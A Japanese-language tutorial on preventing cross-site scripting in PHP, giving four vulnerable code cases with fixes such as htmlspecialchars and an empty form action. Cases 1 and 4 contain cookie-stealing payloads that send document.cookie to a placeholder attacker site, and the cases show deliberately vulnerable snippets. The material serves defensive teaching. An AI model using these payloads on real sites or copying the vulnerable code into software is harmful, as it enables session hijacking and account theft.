クロスサイトスクリプティング(XSS)対策

※動作テストは自己責任で必ず自分の環境で確認すること。

クロスサイトスクリプティングとは

ソフトウェアのセキュリティホールの一つで、Webサイトの訪問者の入力をそのまま画面に表示するプログラムが、悪意のあるコードを訪問者のブラウザに送ってしまう脆弱性のこと。

悪意を持ったユーザがフォームなどを通してJavaScriptなどのスクリプトコードを入力した時にプログラム側に適切なチェック機構がないと、そのスクリプトの内容がそのままHTMLに埋め込まれ、ページを閲覧したコンピューターでスクリプトが実行されてしまうことがある。

このような形でページに埋め込まれてしまったスクリプトは、Webブラウザではページ作成者以外が埋め込んだものであると認識できないため、ブラウザ側でこの問題を防止するには、スクリプトを使用しない設定にする他なく、スクリプトを使用する場合は常にこの問題が発生しうる。

悪意のあるコードを直接埋め込んで実行させる他に、ユーザに認識のないまま他所のスクリプトを呼び出して実行するように仕向ける事が可能なため、「クロスサイト」の名がついている。

スクリプトの内容によってはCookieデータの盗聴や改竄などが可能なため、商取引に使ったCookieを横取りして、本人になりすまして物品の購入を行ったり、Cookieを認証やセッション管理に使っているサイトに侵入したり、より広範かつ深刻な損害を与える可能性がある。

対策としては、訪問者からの入力内容をそのまま表示せずに、スクリプトなどのコードを識別して無効化する処理を施す事が必要である。

特定のURIを送りつけて、悪意あるクライアント・サイド・スクリプトを強制的に実行させる攻撃

■攻撃先

 echo文print()関数<?php ?>などで出力される変数部分
 主にGET由来のID、検索文字
 $_SERVER['PHP_SELF']$_SERVER['PATH_INFO']SIDなど

■被害

クッキーを盗まれる(セッションハイジャック、パスワード漏洩など)
 自動処理でPOSTを実行させられる。
 JavaScriptチェーン攻撃の一端となる。

Case 1

<?php
echo $_GET['page'];
?>
上記のコードに対して

HTTP://【被害サイト】<script>document.location='【攻撃サイト】?'+document.cookie;</script>

のリンクを何らかの形で踏むと【被害サイト】のクッキー情報が【攻撃サイト】のアクセスログに記録される。

対策方法

・出力時にサニタイズ

文字列を出力する直前に、htmlspecialchars(変数, ENT_QUOTES)をかける
echo htmlspecialchars($_GET['page'], ENT_QUOTES);

Case 2

<meta http-equiv="refresh" content="3; url=<?php echo $url; ?>">
<a href="<?php echo $url; ?>">
<img src="<?php echo $url; ?>">

対策方法

「脆弱性のあるコード 2」のようなタグ内でURLを指定する属性値に変数を割り当てる時は、「javascript:」から始まっていないことを確認する必要がある。
さらにInternetExplorerのバグで、「javascript:」という文字列の間に「\0,\t,\r,\n」等のコントロールコードが入っていても、JavaScriptの開始だとみなすため、単純なブラックリストでは不十分である。
<?php
$url = htmlspecialchars($_GET['url'], ENT_QUOTES);
$url = preg_replace('/javascript/i', '', preg_replace('/[\x00-\x20\x22\x27]/', '', $url));
?>
<meta http-equiv="refresh" content="3; url=<?php echo $url;?>">
<a href="<?php echo $url; ?>">
<img src="<?php echo $url; ?>">

Case 3

<script><?php echo $script; ?></script>
<style><?php echo $style; ?></style>

対策方法

「$script」や「$style」にはhtmlspecialcharsは全く意味が無い。
<script>タグや<style>タグの内側にリクエスト変数が含まれると、それを無害化する手段がない。
タグ内には、リクエスト変数を含まないようにすべき。
また、外部JavaScriptファイルやcssファイルを動的に生成する場合にも、リクエスト変数を混ぜると危険。

Case 4

<form action="<?php echo $_SERVER['PHP_SELF']; >">
  <div>name:<input type="text" name="name" value="old clow"></div>
  <div>age:<input type="text" name="age" value="99"></div>
</form>
上記のコードに対して
"【被害サイト】" onmouseover="document.location='【攻撃サイト】?'+document.cookie;"
のリンクを何らかの形で踏むと<form>の表示部分でonmouseoverイベントハンドラが実行され、【被害サイト】
のクッキー内容を盗む
PHP_SELFの代表的な誤用かつ、strip_tags()でのサニタイズが効かない例。

対策方法

$_SERVER['PHP_SELF']のような一部のSERVER変数にもクライアント・サイド・スクリプトを埋め込むことは可能。
action属性は空にすることで対策できる。
<form method="POST" action="">
  <div>name:input<input type="text" name="name" value="old clow"></div>
  <div>age:<input type="text" name="age" value="99"></div>
</form>

PHPサイバーテロの技法―攻撃と防御の実際

新品価格
¥1,890から
(2013/10/3 19:55時点)

Comments are closed.